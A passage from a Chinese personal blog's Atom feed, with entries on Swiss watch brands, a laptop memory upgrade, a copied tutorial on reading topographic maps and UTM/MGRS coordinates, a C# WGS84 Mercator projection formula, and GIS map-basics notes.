1875年，朱尔斯-路易士.奥德莫斯(Jules-LouisAudemars)与朋友爱德华-奥古斯蒂.皮捷特(Edward- AugustePiguet)一同创立了爱彼表。1972年，爱彼推出了全精钢材质的高端运动表系列“皇家橡树”(RoyalOak)，成为表业经典。爱彼公司在瑞士设有钟表学校，每名学徒必须在钟表学校中修完4年课程，才能取得钟表匠资格。此外，还要经过1至2年训练，才能制造超薄机芯，而要开始制造复杂机芯前，还需10年训练。<BR><IMG src="http://image2.sina.com.cn/nx/n/2004-07-06/U204P133T3D9475F57DT20040706182108.jpg" border=0><BR>　　<BR>二、江诗丹唐(VacheronConstantin)始创于1775年的江诗丹唐已有250年历史，是世界上历史最悠久、延续时间最长的名表之一。创始人让.马克.瓦什隆(Jean-Marc Vacheron)是一位渊博的人文学家。江诗丹唐被誉为贵族中的艺术品，一直在瑞士制表业上担当着关键角色。目前隶属瑞士历峰集团。<BR><IMG src="http://image2.sina.com.cn/nx/n/2004-07-06/U204P133T3D9479F57DT20040706182119.jpg" border=0><BR>　　<BR>一、百达翡丽(PatekPhilippe)创立于1839年的百达翡丽是瑞士现存惟一一家完全由家族独立经营的钟表制造商。百达翡丽表一向重视外形设计与制作工序，制表工序全部在日内瓦原厂完成，是全球众多品牌表中惟一一家全部机芯获“日内瓦优质印记”(Geneva Seal)的品牌。<BR><IMG src="http://image2.sina.com.cn/nx/n/2004-07-06/U204P133T3D9474F57DT20040706182107.jpg" border=0></B></SPAN></FONT></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=415" /> 
	  <id>http://www.openx.cn/default.asp?id=415</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[本本有了大内存,特此留影.]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-05-09T10:48:38+08:00</updated>
	  <published>2007-05-09T10:48:38+08:00</published>
		  <summary type="html"><![CDATA[<P>哈哈本本加了根1G内存活活现在是1.25G啦. <BR>[img]http://www.openx.cn/include/Editor/UploadFile/200759103832613.gif[/img] <BR>共享了256Mb给了显卡(原先才64Mb),现在运行啥都爽死了. <BR>[img]http://www.openx.cn/include/Editor/UploadFile/200759103856860.gif[/img] <BR>之前玩DODs还会晃,现在如履平地嘎嘎~~~~~</P>
<P>做开发的我平时一运行几个开发环境内存就占900Mb(包括虚拟内存),本本硬盘本来就慢,切换程序,编译代码时就明显感到吃力.</P>
<P>现在不同啦,强烈推荐R20的本本一族快加内存吧,性能提升不少的说哦.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=414" /> 
	  <id>http://www.openx.cn/default.asp?id=414</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[转点点学习资料]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-01-25T17:11:30+08:00</updated>
	  <published>2007-01-25T17:11:30+08:00</published>
		  <summary type="html"><![CDATA[<DIV align=left>一位聪明的使用者，往往在使用任何一件器具之前 ，会先详阅制造厂商的说明书。此对使用地图者亦然。摊开任何一张地图，其周围、边缘都有印文字、数字、 图例等，而称之为「图廓资料」。 <BR><BR>不同地图的图廓数据也不尽相同，因此在使用地图时，即需先检查其图廓数据，图即为五万分之一等高线图的图廓资料说明 。 <BR><BR>﹙一﹚图名 在图廓顶部中央，代表一幅地图的名称。一般而言 ，一幅地图常按其地理上或人文上之显著地形、地物而命名。 <BR><BR>﹙二﹚图组名称及比例尺标示于地图左上角，此项目为某一图组之名称及比例尺。一个图组通常包含相同比例尺的一组类似地图，并用相同的图廓线或式样，以涵盖某一特定之地理区域。我国以省名为图组名称，如「中华民国台湾地区，二万五千分之一地形图」。 <BR><BR>﹙三﹚图号 图号位在地图的右上﹙有些在右下角亦有标示﹚。 它是以任一坐标为依据，而此任一坐标制中，每幅比例尺十万分之一的地图，系分配一个四位数之数字，前二位数表横坐标、后二位数表纵坐标，以78年版二万五千分之一的台湾地形图图幅接合表及图号为例，图号以东 经70°30′、北纬14°为其标准分幅经纬线，十万分之 一的地形图各以30′的经纬差给予其横、纵坐标之值。如东经70°30′～71°之间为01，71°～71°30′之间为02，依此类推，台湾本岛在94与97之间；同理，纵坐标在16到23之间。 而五万分之一的图号制定系将十万分之一划为四幅 ，由右上角以顺时钟的顺序加注罗马数字Ⅰ、Ⅱ、Ⅲ、 Ⅳ，如9621Ⅱ。 由于一幅二万五千分之一的图恰是五万分之一地形 图的四分之一，故只要在五万分之一的地形图号后面加上代表地理四象限的NE、SE、NW、SW即可，如9621ⅡSW 。另外因一幅一万分之一的地图，恰等于五万分之一 地形图的二十五分之一，故只要在五万分之一的图号后 面加上01～25的二位数即可，如9621-Ⅰ-09。 又因一幅五千分之一的图，恰等于五万分之一地形图的一百分之一，故只要在五万分之一的图号后面加上 001～100的三位数即可，如9621-Ⅰ-001。 <BR><BR>﹙四﹚图组号码 标示于右上角，是一种国际性系统的代号，说明该 幅地图所在的地区及比例尺，详细说明请见登山百科全书中册。惟目前台湾地区之地形图仅剩五万分之一图有此标记，本省至62年版起之五万分之一地图的图组号码已改为L7001。 <BR><BR>﹙五﹚ 版次 标示于右上角，版次乃代表各该地图对其相同地图其它各版之年代关系。 <BR><BR>﹙六﹚图幅接合表 位于图廓右下角，系用以显示该幅地图周围之各幅地图，以便查图，如下图左。　　　 <BR>﹙七﹚边界索引图﹙行政界线略图﹚ 在图廓之右下方，此索引图为各该地图之一分缩图 ，表示该图区域内所有边界及主要海岸线，以下图右为例。 <BR><BR>﹙八﹚高程示意图 位图廓下方，行政界线略图左方，为该地图之一分 缩图，表示该图区域内大致之高程分布，如图左。 <BR><BR>﹙九﹚图料表 位于边界索引图左方，系指出该图调制的方法，采 取数据的种类、时间及精确度等，如图右。此表在72年版之五万分之一地图未出现，而出现于78年版的二万五千分之一的地图。 <BR><BR>﹙十﹚地点指示例 位于图廓下方，高程示意图左方。含有关于识别图上所代表各该地图所在位置之方格带或方格区域。以及十万公尺等资格，如下图上。欲了解地点指示的方法， 须对坐标有深入认识，后面另辟「坐标」一节，再详细讨论。 <BR><BR>﹙十一﹚比例尺 位于图廓正下方，其地图比例尺注记系按一项分数表示，用以显示地图距离对实地距离的比率。计有文字 、分数及图标三种表现方法，如下图下。 <BR><BR>﹙十二﹚偏角图 位于图廓下方偏左，用以指出地图上地形、地物对 于正北、磁北及方格北间的关系及彼此偏差的角度。在台湾，磁北恒在正北的左方，如图。 <BR><BR>﹙十三﹚图例 位图廓左下角，用以说明及识别地图上所有的各种 符号及意义，如表。值得一提的是，在地图上的铁道及一般道路的符号与一般地图之表示法不同。 <BR><BR>﹙十四﹚其它注记 在比例尺之下方，如表。 地图定位方位判定欲将方向按一种角度度量单位表示，必先有某一方向之零值量度，一般称之为「基线」。 <BR><BR>而地图的使用者所关切的，正是这所谓基线的北方，但图上所显示的北有三种北方线。 <BR><BR>﹙一﹚ 真北：地球是一个球体，中心假设有一条地轴贯通，地轴北端为北极，从地球表面任一点通至北极之直线，均指示真正方向，故所有的经线均是真北线,真北通常以「*」号 表示。 <BR><BR>﹙二﹚ 磁北：即指北针所指方向，磁北通常以半个箭头符号「↑」表示。因两磁极的位置不等于两极，故指北针所指的是磁北而非真北，北磁极在1960年时在加拿大之韦尔斯岛北部，约为北纬74°西经 101°，磁极会因时而不同，所以一般的地图均会注明磁偏 角的年月。 <BR><BR>﹙三﹚ 方格北：即地图上方网格线所确定的北方。 <BR><BR>最普通 使用的基线是磁北与方格北，当在野外作业时，使用磁北；图上作业则使用方格北 。 <BR><BR>方向 系按角度度量单位表示之。角度度量单位常见者为度与米位，而度又是最常使用者。一圆可分为 360 度，度下更小的区分为「分」，分下又有「秒」。另外，一圆又可分为6400米位。最常用来表达方向的一种方法称为方位角。 <BR><BR>方位角 之定义为：从一条基准﹙通常为北方﹚按顺时钟方向所量得的水平角度。以真北为基线者，称真方位角；以磁北与方格北为基线者分别称为磁方位角与方格方位角。「反方向角」乃是一方位角的倒转形式，故两者之差必为 180°，若方位角为 180°以下，则反方位角系方位角加上180°；若方位角超过180°，则反方位角系方位角减去 180°。 　　 <BR><BR>前面提过，野外作业与图上作业所使用之基线不同 ，故我们须知磁方位角与方格方位角的关系，使用如图及其说明。 <BR><BR>坐标 坐标的种类有许多，而在我们常使用的地形图上， 有地理坐标及世界横麦卡脱方格坐标两种。 <BR><BR>就以一张五 万分之一的等高线图来说，细心的山友可能会发现，图 幅的四个端点有地理坐标，即经纬度坐标，且每 5′尚有标示，而在图中每经度 5′与纬度 5′相交的地方有 「＋」的标示，这些都是为了读取坐标准确而划。另外，每隔两公分便有一条直线与横线，且有00～99的标示 ，这便是世界横麦卡脱方格坐标，简称U.T.M.坐标，或通用坐标。因在地面上行走的人，如陆军或登山者移动的距离小，更需以此等小方格来标示位置。 <BR><BR>以下分别对地理坐标与通用坐标加以说明。 <BR><BR>﹙一﹚ 地理坐标 <BR>地理坐标是最古老而有系统的确定位置方法。系以两条直线为依据，一条称为赤道；另一条称为本初子午线，地球表面的任何一点均能以这两条直线为坐标轴，表示其位置，以下略述地理坐标的相关名词： <BR><BR>(1) 南北极与地轴---地球上端为北极，下端为南极，通过地心而连 接南北极的直线，称为地轴。 <BR><BR>(2) 赤道、纬线与纬度---环绕地球周围东西向之圆环最大者，称为赤道 ，其直径与地轴垂直。而与赤道平行，环绕地球表面的圆环即为「纬度平行圈」，简称为「纬线」。以地心为原点，赤道为零度，向南及向北均可编至九十度，即北极是北纬90°，南极是南纬90°，赤道之北称北纬、之南称南纬，地球上各地纬线与赤道的弧长，称为纬度。 <BR><BR>(3) 子午线、本初子午线及经度---通过地球两极而与赤道直交的圆弧即为子午线 ，又称经线。而本初午线为通过英国「格林威治天文台」的经线，又称零度子午线。经度是地球上各地的经线与本初子午线之间所截赤道的弧长。以本初子午线为零度分东西两半球为东西经各 180°。 地理坐标中，北纬以「N」、南纬以「S」、东经以 「E」、西经以「W」表示，所使用的度量单位为度﹙° ﹚、分﹙′﹚、秒﹙〞﹚。一圆为 360°，一度为60分 ，每分又可分为60秒。地理坐标的报告为先纬后经，如北纬21°56′30〞N。东经 122°44′52〞E。通常在山难搜救中，请求直升机支持时，所使用的即是地理坐标。 <BR><BR>﹙二﹚ 通用坐标---世界横麦卡脱方格坐标是一种有系统的方格坐标制 ，原文是 Universal Transverse Marcuts Syoteur，简称U.T.M.坐标。 <BR><BR>读过高中通论地理课本的人可能知道麦卡脱投影法 ，此法是将光源置于球心，以一围成圆柱形之纸张切于赤道，所得之坐标制。而横麦卡脱方格坐标即是将圆柱旋转90度，切地表于某一子午线而得，此U.T.M.坐标设计时，系供北纬84度与南纬80度间使用。 <BR><BR>(1)U.T.M.的形成---由 180°经度子午线起，向东将地球分为60个狭带，每一狭带的宽度为经度 6°，以阿拉伯数字 1 到60为编记。 <BR><BR>每带均有称为「中央子午线」之一 条子午线，贯穿各方格带中央。利用中央子午线与 赤道之交会点，作为一个原点，即可列举某一位置 ，方格带内各点之指示即依「向右向上判读」之规则。 <BR><BR>U.T.M.方格之每一条一定间隔之线条，均标记其假性向东读数与假性向北读数，以显示其与方格带原点之关系。大比例尺之地图，此方格距离大都 为一千公尺﹙目前台湾地区五千分之一地形图的方格距离为五百公尺﹚。 <BR><BR>除了由地图左下角处向右向上之第一条方格线有标示其数值外，在一千公尺方 格的地图上，此数值之最后三位数字﹙000﹚均省略。此项数值之二位数字系按大写之字体印制，称为 「主要数字」。系指该线在该方格区中央 子午线以东323000公尺； 系指该线在赤道以北2684000公尺，其主要数字各为23与84,某一点 之指示，经常均按「向右向上判读」之原则。 <BR><BR>坐标2384乃是辨认从方格线23及方格线84交叉处向右及向上所座落之整个方格，但此方格之指示仍不够精确，故通常将方格之每一边再细分为十等分，而得 六位数，如234843。 U.T.M.方格之每一组数字在六十个方格带中均会出现一次，且又有南北半球之分,故将会出现120次，美军之军用方格坐标制﹙简称MGRS﹚即是为避免这种错误发生的设计，我国军用地图之地点指示亦是采此坐标制， 以下简述此坐标制。 <BR><BR>(2)MGRS制---此坐标制系与U.T.M.方格共同使用，即其带号同U.T.M.之分法，亦为60个方格带，MGRS制系在南 纬80°S与北纬84°N之间，将世界分成许多「西─ 东6°，南─北8°」之区域，称为方格带编号。 <BR><BR>此编号之共纵列与U.T.M.方格带同，而其横排则以英文字母识别之，由南纬80°S向北至北纬84°N为止，采用英文字母C至X为字母编号，其中I与O省略不用，如图。 <BR><BR>为便于较小区域内的目标指示，又带「带」、 「区」再划分成许多十万公尺方格。纵行与横列均是以一个英文字母代替。横列在180°经线开始，沿赤道往东进行18°﹙即三个纵带﹚，每十万公尺纵行各赋予A至Z之字母代号，但I与O省略不用，此种字母，每隔18°重复一次。从南到北，每十万公尺横列，各赋予A至V之字母代号，I与O省略不用。 <BR><BR>此部分之字母每两万公尺重复一次。任何十万公尺 方格代号，系由两个英文字母组成，第一个字母是向右读定之，第二个字母是向上读定之，如图。 <BR><BR>(3)地点指示要领 MGRS坐标的读图要领为先向右、后向上，报导 方法为带号、区号、十万公尺方格代号、向右读数、向上读数，依序列出，如图之地点指示例，向右向上读数不一定只有六位数，有时军事上为求更精确起见，亦有使用八位数者，惟一般仅使用六位。 <BR><BR><BR>等高线的读法 <BR><BR>﹙一﹚等高线的意义---等高线是地图上用以代表地面上想象中的一条线， 此在线之所有各点，均有相当之标高。 <BR><BR>简单的说，等高线是由地面上高度相等的各点所连成的曲线，而投影在一平面上的许多水平曲线。如图便可知道等高线图是如何绘成。 等高线是指高于或低于一基准面的垂直距离，此基准面通常为平均海平面，于图廓资料之标高注记说明，台湾地区系以基隆平均海平面起算。 <BR><BR>等高线间之垂直距离称为「等高线间距」，此项等高线间距之数量于图廓 资料之注记有所说明；一般地图的等高线，均用棕色印制。 由零﹙0﹚标高处开始,每逢第五条等高线，均以一条较粗之线条描绘，便于计算分辨。比较粗黑之等高线称为「计曲线」，常沿每一计曲线适当之处，使之中断，注记其标高。而位在两计曲线间之各条等高线，称之为「首曲线」。若地势较缓，首曲线不足以显示高低起 伏时，则可使用「间曲线」与「助曲线」，间曲线以断线表示，系在二分之一等高线间距处描绘之，而助曲线以点线表示，系在四分之一等高线间距处描绘之。下表即为目前台湾地图各种地形图之等高线距。 1:50000 1:25000 1:10000 1:5000 计曲线 100ｍ　 　　50ｍ 　　　50ｍ 25ｍ 首曲线 20ｍ 10ｍ 10ｍ 5ｍ 间曲线 10ｍ　　　　5ｍ 5ｍ 2.5ｍ 助曲线 5ｍ　　　2.5ｍ 2.5ｍ 1.25ｍ　 <BR><BR><BR>﹙二﹚等高线的特性 <BR><BR>(1) 等高线通常以海平面的平均海潮位线为基准线。 <BR><BR>(2) 每条等高线的高度必相等。 <BR><BR>(3) 每一条等高线必封闭，即使在一幅地图上等高线未必封闭，但与连接的地图，等高线将必封闭。 <BR><BR>(4) 除悬崖、峭壁处，等高线不会重迭。 <BR><BR>(5) 等高线愈密，表示坡度愈陡；愈疏表示坡度愈缓。 <BR><BR>(6) 形成若干闭合的环线，表示一山丘，如图。 <BR><BR>(7) 形成若干闭合的环线，而带有各项短线记号，则表 示一洼地。各短线通常画在等高线之低侧。如图 。 <BR><BR>(8) 「V」字形尖端指向低处，则表示棱线。如图。 <BR><BR>(9) 「V」字形尖端指向高处，则表示溪谷。如图。 <BR><BR>(10) 现示于两山之间，而围入于一等高线以内者，表 示为一鞍部，如图。 <BR><BR>﹙三﹚ 常见地形的辨示 一个区域的地形必然有高有低，若此区域下雨，则雨水将由高处往低处流，高处之最顶分水者称为分水岭 ，棱线即是分水岭，而雨水汇流者称为谷，棱线与谷间雨水径流之面称为坡。没有低自然显不出高，因此相邻 两条棱之间必有一条谷，这是相对的概念。山峰、鞍部都是自然分水岭的一部分，故也同属于棱线，以下附图 请以两种不同色调的笔分别连出棱线与溪谷，值得注意的是棱线不会切过溪谷而相接，否则溪谷四面皆高必成湖泊。 </DIV>
<DIV>&nbsp;</DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=413" /> 
	  <id>http://www.openx.cn/default.asp?id=413</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[WGS84墨卡托投影转换C#源码]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-01-25T13:39:50+08:00</updated>
	  <published>2007-01-25T13:39:50+08:00</published>
		  <summary type="html"><![CDATA[<P>开发环境：C#</P>
<P>代码：</P>
<BLOCKQUOTE>
<P>WGS84&nbsp;Mercator&nbsp;project转换的算法（C#）</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;N0&nbsp;=&nbsp;6378137.0&nbsp;/&nbsp;Math.Sqrt(&nbsp;1-Math.Pow(0.081819190843,2)*Math.Pow(Math.Sin（RefLat*Math.PI/180),2)&nbsp;);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;q1&nbsp;=&nbsp;Math.Log(&nbsp;Math.Tan(&nbsp;(180.0/4.0+dLat/2.0)*Math.PI/180.0&nbsp;)&nbsp;);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;q2&nbsp;=&nbsp;0.081819190843/2&nbsp;*&nbsp;Math.Log(&nbsp;(1+0.081819190843*Math.Sin(dLat*Math.PI/180.0)&nbsp;)&nbsp;/&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(1-0.081819190843*Math.Sin(dLat*Math.PI/180.0)&nbsp;)&nbsp;&nbsp;);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;q&nbsp;=&nbsp;q1&nbsp;-&nbsp;q2&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x&nbsp;=&nbsp;N0&nbsp;*&nbsp;Math.Cos(RefLat*Math.PI/180.0)&nbsp;*&nbsp;((dLong-CentralMeridian)/57.29577951)&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;y&nbsp;=&nbsp;N0&nbsp;*&nbsp;Math.Cos(RefLat*Math.PI/180.0)&nbsp;*&nbsp;q&nbsp;;</P>
<P><BR>式中<BR>输入参数：dLat----纬度</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dLong----经度</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RefLat----基准纬度</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CentralMeridian----中央子午线</P>
<P>输出：x----横坐标,y----纵坐标</P>
<P>其余参数为中间过程参数<BR></P></BLOCKQUOTE>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=412" /> 
	  <id>http://www.openx.cn/default.asp?id=412</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[摘一些GIS地图的基础知识(温习温习)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-01-25T10:25:41+08:00</updated>
	  <published>2007-01-25T10:25:41+08:00</published>
		  <summary type="html"><![CDATA[<P><BR>GIS&nbsp;地&nbsp;图&nbsp;知&nbsp;识&nbsp;　　　　&nbsp;<BR>1.&nbsp;地图、地图制图学&nbsp;.&nbsp;<BR>2.&nbsp;地图基本概念-特性、分类、用途、工艺&nbsp;(国家基本比例尺地形图)　　　　　　　　　<BR>　　　&nbsp;<BR>3.&nbsp;地图数学基础&nbsp;(椭球、投影、高斯-克吕格直角坐标、地形图分幅)&nbsp;<BR>4.&nbsp;地图符号&nbsp;<BR>5.&nbsp;普通地图的内容要素及表示方法&nbsp;<BR>6.&nbsp;专题地图的内容要素及表示方法&nbsp;<BR>7.&nbsp;传统测绘与“3S”、“数字地球”&nbsp;</P>
<P>------------------------------------------------------------------------------<BR>--<BR>1.&nbsp;地图、地图制图学:　<BR>　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>一.什么是地图&nbsp;<BR>　　地图是按一定的数学法则和综合法则，以形象－符号表达制图物体(现象)的地理分布<BR>、组合和相互联系及其在时间中的变化的空间模型，它是地理信息的载体，又是信息传递<BR>的通道。&nbsp;</P>
<P>&nbsp;&nbsp;<BR>二.地图制图学及其理论基础&nbsp;<BR>　　地图制图学属地球科学中的一门学科。主要是研究地图的实质(性质、内容及其表示方<BR>法)发展、制图理论和技术方法的的一门科学。它的任务是获取各种类型的、高速优质的地<BR>图。是制作地图的科学。地图是人类认识客观世界、反映自然的特殊形式。地图的制作不<BR>是单纯的技术问题，而是人类认识客观的能力和水平的反映。&nbsp;&nbsp;</P>
<P>&nbsp;&nbsp;<BR>三.地图制图学及其组成部分&nbsp;<BR>　　地图概论：研究地图的发展规律、特点以及地图的性质、分类、用途、内容及表示方<BR>法等。&nbsp;<BR>　　地图投影学：研究地图上点的平面直角坐标(或极坐标)同地球椭球体表面上相应点的<BR>地理坐标(经纬度坐标)之间的函数关系，研究投影的理论、性质、变形规律、计算方法投<BR>影的判别和选择，以及在编制地图中不同投影的转换问题。&nbsp;</P>
<P><BR>　　地图编制学：研究制图资料编制地图的理论、技术方法和程序。&nbsp;<BR>　　地图绘制学：研究绘制出适合于制印要求的出版原图的理论和技术。&nbsp;<BR>　　地图整饰：研究地图内容的表现形式，如色彩、线划、符号、图名的设计、地貌立体<BR>表示等&nbsp;<BR>　　地图制印学：研究复制地图生产过程和有关的理论、技术方法、设备、材料性质及使<BR>用等。&nbsp;<BR>　　地图量测学：研究地图上量测方向、距离、面积、体积等的方法和技术。&nbsp;<BR>　　地图设计：研究地图的编辑设计，地图设计的理论基础及提高地图表现力的理论依据<BR>。&nbsp;</P>
<P>------------------------------------------------------------------------------<BR>--<BR>2.&nbsp;地图基本概念-特性、分类、用途、工艺:&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>一.地图的特征&nbsp;<BR>　　地图的特征包括：由于特殊的数学法则而产生的可量测性；由于使用符号表象事物而<BR>产生的直观性；由于制图综合而产生的一览性。&nbsp;</P>
<P>&nbsp;&nbsp;<BR>二.地图的分类&nbsp;<BR>　　一.按区域范围分类：分为世界图、国家图、分区图、省图、市县图、乡镇图等；<BR>　　二.按地图内容分类：分为两大类，普通地图和专题地图。<BR>　　　　普通地图是以相对平衡的详细程度表示地球表面上的自然地理和社会经济要素(基<BR>本要素包括居民地、交通网、水系、地貌、境界、土质植被等)的地图。其中详细表示地面<BR>的各基本要素的叫地形图；内容比较概略，但主要目标很突出，以反映各要素基本分布规<BR>律为主的地图称为地理图；介于两者之间的叫地形地理图。<BR>　　　　专题地图是以普通地图作为底图基础的，重点反映某一种或几种专门的要素，依<BR>内容要素可分为：自然地理图、社会经济地图和工程技术图。<BR>　　三.按比例尺分类<BR>　　　　大比例尺地形图：1：5千—1：2.5万比例尺地形图<BR>　　　　中比例尺地形图：1：5万—1：25&nbsp;万比例尺地形图<BR>　　　　小比例尺地形图：1：50万-1：100万比例尺地形图&nbsp;&nbsp;</P>
<P><BR>　　我国称1：1万、1：2.5万、1：5万、1：10万、1：25万、1：50万、1：100万七种比例<BR>尺普<BR>通地图为国家基本比例尺地形图&nbsp;按国家测绘局制定的统一技术标准制图(规范、图式)。&nbsp;</P>
<P>相关内容&nbsp;<BR>功能演示栏目下的转换及投影中的标准图框&nbsp;<BR>三.地图的用途&nbsp;<BR>四.地图生产的基本过程&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</P>
<P>------------------------------------------------------------------------------<BR>--<BR>3.&nbsp;地图数学基础:　<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>一.地球椭球体&nbsp;<BR>　　地球是一个表面很复杂的球体，人们以假想的平均静止的海水面形成的“大地体”为<BR>参照，推求出近似的椭球体，理论和实践证明，该椭球体近似一个以地球短轴为轴的椭园<BR>而旋转的椭球面，这个椭球面可用数学公式表达，将自然表面上的点归化到这个椭球面上<BR>，就可以计算了。&nbsp;&nbsp;</P>
<P><BR>　　常用的一些椭球及参数&nbsp;<BR>　　海福特椭球(1910)　　　　　　　　　　　　　　　　　　　　我国52年以前基准椭<BR>球&nbsp;<BR>　　a=6378388m&nbsp;b=6356911.9461279m&nbsp;α=0.33670033670&nbsp;<BR>　　克拉索夫斯基椭球(1940&nbsp;Krassovsky)&nbsp;　　　　　　　　　　　北京54坐标系基准椭<BR>球&nbsp;<BR>&nbsp;　　a=6378245m&nbsp;b=6356863.018773m&nbsp;α=0.33523298692&nbsp;<BR>　　1975年I.U.G.G推荐椭球(国际大地测量协会1975)&nbsp;　　　　　　西安80坐标系基准椭<BR>球&nbsp;<BR>　　a=6378140m&nbsp;b=6356755.2881575m&nbsp;α=0.0033528131778&nbsp;<BR>　　WGS-84椭球(GPS全球定位系统椭球、17届国际大地测量协会)　&nbsp;WGS-84&nbsp;GPS&nbsp;基准椭球<BR>&nbsp;<BR>　　a=6378137m&nbsp;b=6356752.3142451m&nbsp;α=0.00335281006247&nbsp;<BR>　　地球椭球面上任一点的位置，可由该点的纬度(B)和精度(L)确定，即地面点的地理坐<BR>标值，由经线和纬线构成两组互相正交的曲线坐标网叫地理坐标网。由经纬度构成的地理<BR>坐标系统又叫地理坐标系。&nbsp;&nbsp;</P>
<P><BR>　　地理坐标分为天文地理坐标和大地地理坐标&nbsp;<BR>　　天文地理坐标是用天文测量方法确定的，大地地理坐标是用大地测量方法确定的。&nbsp;</P>
<P>　　我们在地球椭球面上所用的地理坐标系属于大地地理坐标系，简称大地坐标系<BR>　　确定椭球的大小后，还要进行椭球定向，即把旋转椭球面套在地球的一个适当的位置<BR>，这一位置就是该地理坐标系的“坐标原点”，是全部大地坐标计算的起算点,俗称“大地<BR>原点”&nbsp;</P>
<P><BR>&nbsp;&nbsp;<BR>二.地图投影&nbsp;&nbsp;<BR>　　是为解决由不可展的椭球面描绘到平面上的矛盾，用几何透视方法或数学分析的方法<BR>，将地球上的点和线投影到可展的曲面(平面、园柱面或圆锥面)上，将此可展曲面展成平<BR>面，建立该平面上的点、线和地球椭球面上的点、线的对应关系。&nbsp;</P>
<P><BR>相关内容&nbsp;<BR>功能演示栏目下的转换及投影&nbsp;<BR>&nbsp;&nbsp;<BR>三.高斯-克吕格直角坐标&nbsp;<BR>　　高斯－克吕格投影是设想用一个椭圆柱横套在地球椭球的外面，并与设定的中央经线<BR>相切。&nbsp;<BR>　　高斯－克吕格投影分带规定:该投影是国家基本比例尺地形图的数学基础，为控制变形<BR>，采用分带投影的方法，在比例尺&nbsp;1：2.5万-1：50万图上采用6°分带，对比例尺为&nbsp;1：<BR>1万及大于1：1万的图采用3°分带。&nbsp;</P>
<P><BR>　　6°分带法：从格林威治零度经线起，每6°分为一个投影带，全球共分为60个投影带<BR>，东半球从东经0°-6°为第一带，中央经线为3°，依此类推，投影带号为1-30。其投影<BR>代号n和中央经线经度L0的计算公式为：L0=(6n-3)°；西半球投影带从180°回算到0°，<BR>编号为31-60，投影代号n和中央经线经度L0的计算公式为L0=360-(6n-3)°。<BR>　　3°分带法：从东经1°30′起，每3°为一带，将全球划分为120个投影带，东经1°3<BR>0′-4°30′，...178°30′-西经178°30′，...1°30′-东经1°30′。&nbsp;&nbsp;</P>
<P><BR>　　东半球有60个投影带，编号1-60，各带中央经线计算公式：L0=3°n&nbsp;,中央经线为3°<BR>、6°...180°。<BR>　　西半球有60个投影带，编号1-60，各带中央经线计算公式：L0=360°-3°n&nbsp;,中央经线<BR>为西经177°、...3°、0°。&nbsp;</P>
<P><BR>　　我国规定将各带纵坐标轴西移500公里，即将所有y值加上500公里，坐标值前再加各带<BR>带号以18带为例，原坐标值为y=243353.5m，西移后为y=743353.5，加带号通用坐标为y=1<BR>8743353.5&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>四.我国地形图分幅与编号&nbsp;<BR>　　我国基本比例尺地形图分幅与编号，以1：100万地形图为基础，延伸出1：50万、1：<BR>25万&nbsp;<BR>1：10万，再以1：10万为基础，延伸出1：5万、1:2.5万及1：1万三种比例尺。&nbsp;<BR>　　1：100万从赤道起向两极每纬差4°为一行，至88°，南北半球各分为22横列，依次编<BR>号A、B、...&nbsp;V；由精度180°西向东每6°一列，全球60列，以1-60表示，如海南所在1：<BR>100万图在第5行，第49列，其编号为&nbsp;E-49&nbsp;&nbsp;<BR>　　在1：100万图上，按经差3°纬差2°分成四幅1：50万地形图，编为A、B、C、D，如&nbsp;<BR>E-49-A&nbsp;按经差1°30′纬差1°分成16幅1：25万地形图，编为[1]、...[16]，如&nbsp;E-49-[1<BR>]。按经差30′纬差20′分成144幅1：10万地形图，编为1、...144，如&nbsp;E-49-1。既后三种<BR>比例尺各自独立地与1：100万地图的图号联系。&nbsp;<BR>　　